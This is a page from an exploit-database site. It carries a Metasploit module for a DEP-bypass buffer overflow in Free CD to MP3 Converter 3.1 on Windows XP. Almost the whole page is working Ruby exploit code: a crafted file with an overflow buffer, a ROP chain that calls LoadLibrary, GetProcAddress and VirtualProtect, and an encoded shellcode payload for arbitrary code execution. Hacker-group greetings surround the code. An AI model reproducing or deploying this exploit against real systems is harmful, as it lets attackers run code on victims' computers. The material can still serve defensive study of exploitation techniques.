0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit (MSF)
[1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
###
# Title : Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit (MSF)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com
# Home : Hassi.Messaoud (30008) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.dis9.com
# Twitter page : twitter.com/kedans | http://kedans.dis9.com
# platform : windows
# Impact : DEP Bypass
# Tested on : Windows XP SP3 (En)
##
# [Indoushka] => Welcome back Br0ther <3 ^^
##
# | >> -------+++=[ Dz Offenders Cr3w ]=+++----- << |
# | Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * ...|
# | ----------------------------------------------- |
# + All Dz .. This is Open Group 4 L33T Dz Hax3rZ ..
###
##
# $Id: $ fcdmp3_dep.rb | 09/08/2011 01:45 | KedAns-Dz $
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit',
'Description' => %q{
This module exploits a Universal DEP Bypass in versions 3.1
creating a specially crafted .zip file, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 G0M3S', # Original
'KedAns-Dz <ked-h[at]hotmail.com>' # MSF Module
],
'Version' => 'Version 1.0',
'References' =>
[
['URL', 'http://1337day.com/exploits/16625' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x0a\x3a",
'StackAdjustment' => -3500,
'DisableNops' => 'True',
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 (En)', { 'Ret' => 0x41414141} ], # A x 4 (buf)
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
], self.class)
end
def exploit
#===[ ROP FOR LOAD "kernel32.dll" ]=====#
rop = "\x64\x87\x41\x00" # POP ESI / RETN
rop << "\x60\xA6\x2C\x67" # Address to LoadLibrary
rop << "\x09\x2D\x41\x00" # POP EBP / RETN
rop << "\x9B\xD3\x4A\x00" # ADD ESP,24 / POP EBP / POP EDI / POP ESI / POP EBX / RETN
rop << "\xE9\x2B\x47\x00" # PUSHAD / POP EBX / RETN
rop << "kernel32.dll\x00"
rop << rand_text_alphanumeric(27)
#===[ ROP FOR Function GetProcAddress ]===#
rop << "\x4d\x00\x48\x00" # POP EBP / RETN
rop << "\x00\x00\x00\x00"
rop << "\x7f\x9a\x40\x00" # POP EDI / RETN
rop << "\x68\xa6\x2c\x67"
rop << "\x45\xad\x42\x00" # PUSH ESP / POP ESI / RETN
rop << "\x0e\x1b\x4a\x00" # POP ESI / RETN
rop << "\x9b\xd3\x4a\x00" # ADD ESP,24 / POP EBP / POP EDI / POP ESI / POP EBX / RETN
rop << "\x53\x19\x42\x00" # ADD EBP,EAX / RETN
rop << "\x34\x06\x4c\x00" # PUSHAD / RETN
rop << "VirtualProtect\x00"
rop << rand_text_alphanumeric(25)
#===[ ROP FOR VirtualProtect ]===#
rop << "\x86\xc7\x42\x00" # XCHG EAX,ESI / RETN
rop << "\x70\x2c\x4d\x00" # POP EBP / RETN
rop << "\x8b\xe5\x47\x00" # JMP ESP
rop << "\xf7\xab\x46\x00" # POP EBX / RETN
rop << "\x00\x04\x00\x00" # 0 Null's
rop << "\xb4\x2b\x40\x00" # POP EDX / RETN
rop << "\x40\x00\x00\x00"
rop << "\x9c\x2b\x00\x10" # POP ECX / RETN
rop << "\x64\x70\x00\x10"
rop << "\xe9\x2b\x47\x00" # PUSHAD / POP EBX / RETN
sploit = rand_text_alphanumeric(4108) # Buffer
sploit << [target.ret].pack('V')
sploit << rop
sploit << "\x8B\xC4\x83\xC0\x20\xFF\xD0"
sploit << rand_text_alphanumeric(21)
sploit << payload.encoded
ked = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(ked)
end
end
# | >> -------+++=[ Dz Offenders Cr3w ]=+++----- << |
# | Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * ...|
# | ----------------------------------------------- |
#================[ Exploited By KedAns-Dz * Inj3ct0r * ]=========================================
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > + Rizky Ariestiyansyah * 1850 BBs
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r * Kalashinkov3 (www.1337day.com/team)
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * PaCketStorm Team (www.packetstormsecurity.org) * TreX (hotturks.org)
# www.metasploit.com * Underground Exploitation (www.dis9.com) * All Security and Exploits Webs ..
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================
# 0day.today [2024-11-15] #